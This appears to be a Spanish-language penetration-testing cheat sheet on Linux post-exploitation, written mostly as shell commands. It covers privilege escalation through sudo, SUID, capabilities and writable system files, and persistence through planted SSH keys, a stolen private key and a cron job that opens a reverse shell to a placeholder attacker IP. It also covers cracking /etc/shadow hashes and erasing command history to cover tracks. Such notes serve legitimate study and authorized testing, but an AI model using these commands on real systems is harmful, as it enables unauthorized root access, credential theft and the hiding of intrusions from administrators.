Skip to content

🐧 Post-Explotación en Linux

El entorno Linux es extremadamente sensible a los permisos de archivos y a la configuración del Kernel. Una vez obtenida la shell inicial (generalmente como un usuario de servicios como www-data o un usuario estándar), el objetivo es identificar debilidades en la configuración para alcanzar privilegios de root.

✅ Metodología Linux

Enumeración local (Kernel, Sudo, SUID, Cron)
Transferencia de archivos (Uso de /tmp)
Mejora de la shell (Estabilización TTY completa)
Escalada de privilegios (GTFOBins, Capabilities)
Persistencia (SSH Keys, Cronjobs)
Extracción de hashes (/etc/shadow)
Limpieza de huellas (History, Logs)

🔍 1. Enumeración Local

No busques el exploit de Kernel a la primera. La mayoría de las escaladas en Linux se deben a errores humanos en los permisos de sudo o archivos con el bit SUID activo.

Información del Sistema

bash
# Versión del Kernel y arquitectura (Vital para Kernel Exploits)
uname -a

# Información de la distribución
cat /etc/*release

# Listado de paquetes instalados (Búsqueda de versiones vulnerables)
dpkg -l  # En Debian/Ubuntu
rpm -qa  # En CentOS/RHEL

Usuarios y Grupos

bash
# Quién soy y a qué grupos pertenezco
whoami
id

# Enumerar usuarios con acceso a shell
cat /etc/passwd | grep "sh$"

# Ver quién ha iniciado sesión recientemente
lastlog

Red y Procesos

bash
# Interfaces y redes internas
ip a

# Procesos que corren como root (Buscando servicios locales)
ps aux | grep root

# Tareas programadas del sistema
cat /etc/crontab
ls -la /etc/cron.*

Enumeración Automática (Value Add)

Para un reconocimiento rápido, utiliza herramientas que automatizan estas comprobaciones:

  • LinEnum: Script integral de bash. Se recomienda ejecutarlo y filtrar por "Thorough tests".
  • Metasploit: Módulos como linux/gather/enum_system o check_vm.

📂 2. Transferencia de Archivos

En Linux, la ruta por excelencia para subir herramientas es /tmp. La mayoría de los sistemas están configurados para que cualquier usuario pueda escribir allí y, además, los archivos suelen borrarse tras un reinicio.

Aparte de wget (visto en la intro), considera:

  • Curl: curl -O http://<TU_IP>/herramienta
  • SCP: Si tienes credenciales de usuario: scp herramienta usuario@víctima:/tmp/.

🐚 3. Mejora de la Shell (TTY Stabilization)

Las reverse shells suelen ser "tontas": no tienen autocompletado, no puedes usar flechas y Ctrl+C las mata. Para estabilizarlas:

  1. Spawneamos bash con Python:python3 -c 'import pty; pty.spawn("/bin/bash")'.
  2. Exportamos variables de entorno:export TERM=xtermexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin.
  3. (Opcional) Background y STTY: Presiona Ctrl+Z, escribe stty raw -echo; fg y presiona Enter dos veces. Esto te dará una shell interactiva completa.

Para integrar la nueva sección de forma orgánica, lo ideal es estructurar la Escalada de Privilegios por categorías de "vulnerabilidades de configuración". De esta forma, el usuario entiende que antes de lanzar un exploit de Kernel, debe revisar los permisos mal asignados.

📈 4. Escalada de Privilegios

La escalada de privilegios consiste en aprovechar errores de configuración o vulnerabilidades para saltar de un usuario limitado a root.

4.1. Configuración de Sudo (sudo -l)

Es el primer comando obligatorio. Lista los privilegios de sudo permitidos para tu usuario actual.

  • Uso: sudo -l
  • Explotación: Si ves un binario listado (ej. (root) NOPASSWD: /usr/bin/vim), puedes ejecutarlo como root.
  • Referencia: Busca el binario en GTFOBins para obtener la secuencia de escape.
  • Ejemplo Vim: sudo vim -c ':!/bin/sh'

4.2. Archivos Críticos con Permisos Débiles

Si el administrador ha sido descuidado, podrías tener permisos de escritura en archivos que definen la seguridad del sistema.

  • Búsqueda de archivos escribibles:
bash
find / -type f -not -type l -perm -o+w 2>/dev/null
  • Vectores clave:
  • /etc/shadow: Si es editable, cambia el hash de root directamente.
  • /etc/passwd: Si es editable, crea un usuario con UID 0.
  • /etc/sudoers: Añade tu usuario a la lista de administradores.

4.3. Binarios SUID

Archivos que tienen el bit SUID activo se ejecutan con los privilegios del propietario (root), independientemente de quién los lance. Buscamos binarios inusuales o vulnerables.

  • Búsqueda:
bash
find / -perm -u=s -type f 2>/dev/null

4.4. Capabilities

Son permisos granulares que el Kernel asigna a archivos para realizar tareas específicas de root sin darles privilegios totales. Algunas (cap_setuid) son extremadamente peligrosas.

  • Búsqueda:
bash
getcap -r / 2>/dev/null
  • Objetivo: Busca cap_setuid+ep en intérpretes como python, perl o herramientas como tar.

4.5. Tareas Programadas (Cron Jobs)

Si un script ejecutado por root a través de cron es escribible por ti, puedes modificarlo para que te devuelva una shell.

  • Revisión: cat /etc/crontab o busca scripts en /etc/cron.* que tengan permisos de escritura para tu grupo.

⏳ 5. Persistencia

SSH Keys (El método más estable)

Si el servicio SSH está activo, puedes añadir tu propia clave pública al archivo authorized_keys del usuario root o de cualquier usuario legítimo.

  1. Genera claves en tu máquina: ssh-keygen.
  2. Copia tu .pub al objetivo: echo "tu-clave-publica" >> /root/.ssh/authorized_keys.

Secuestro de Clave Privada (id_rsa)

Si durante la enumeración encuentras una clave privada en el objetivo, no necesitas instalar nada nuevo; puedes "tomar prestada" su identidad. La cual te permitirá acceso total como ese usuario desde cualquier lugar.

  1. Localizas la clave: cat ~/.ssh/id_rsa
  2. Copias el contenido a un archivo en tu equipo (ej: clave_robada).
  3. Asignas permisos estrictos: chmod 400 clave_robada.
  4. Accedes: ssh -i clave_robada usuario@objetivo.

Cron Jobs

Podemos editar una tarea programada o crear la nuestra propia la cual envíe una reverse shell cada minuto.

bash
# Listar tareas programadas
crontab -l

# Crear tarea programada
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<TU_IP>/<PORT> 0>&1'" > /tmp/proxy
crontab /tmp/proxy

# En nuestra máquina HOST nos ponemos a la escucha
nc -lvnp <PORT>

🔑 6. Extracción y Crackeado de Hashes

Si eres root, puedes acceder a /etc/shadow, donde residen los hashes de las contraseñas.

Formato del Hash

El primer campo tras el nombre de usuario indica el algoritmo:

PrefijoAlgoritmo
$1$MD5
$2a$ / $2y$Blowfish
$5$$SHA-256
$6$SHA-512 (Estándar actual)
$y$yescrypt

Cracking Offline

John the Ripper:

bash
# Combina passwd y shadow para que John tenga el contexto
unshadow /etc/passwd /etc/shadow > hashes.txt
john --format=sha512crypt hashes.txt --wordlist=rockyou.txt

Hashcat:

bash
# El modo 1800 corresponde a SHA-512 (Unix)
hashcat -m 1800 hashes.txt rockyou.txt

🧹 8. Limpieza de Huellas

Linux registra cada comando en un archivo de historial. Es vital limpiarlo antes de salir.

bash
# Limpiar historial de la sesión actual
history -c

# Borrar el archivo de persistencia del historial
rm ~/.bash_history

# Cerrar sesión sin dejar rastro en los logs de acceso (si es posible)
kill -9 $$

Sin copyright ni nada. Ház lo que quieras con todo esto.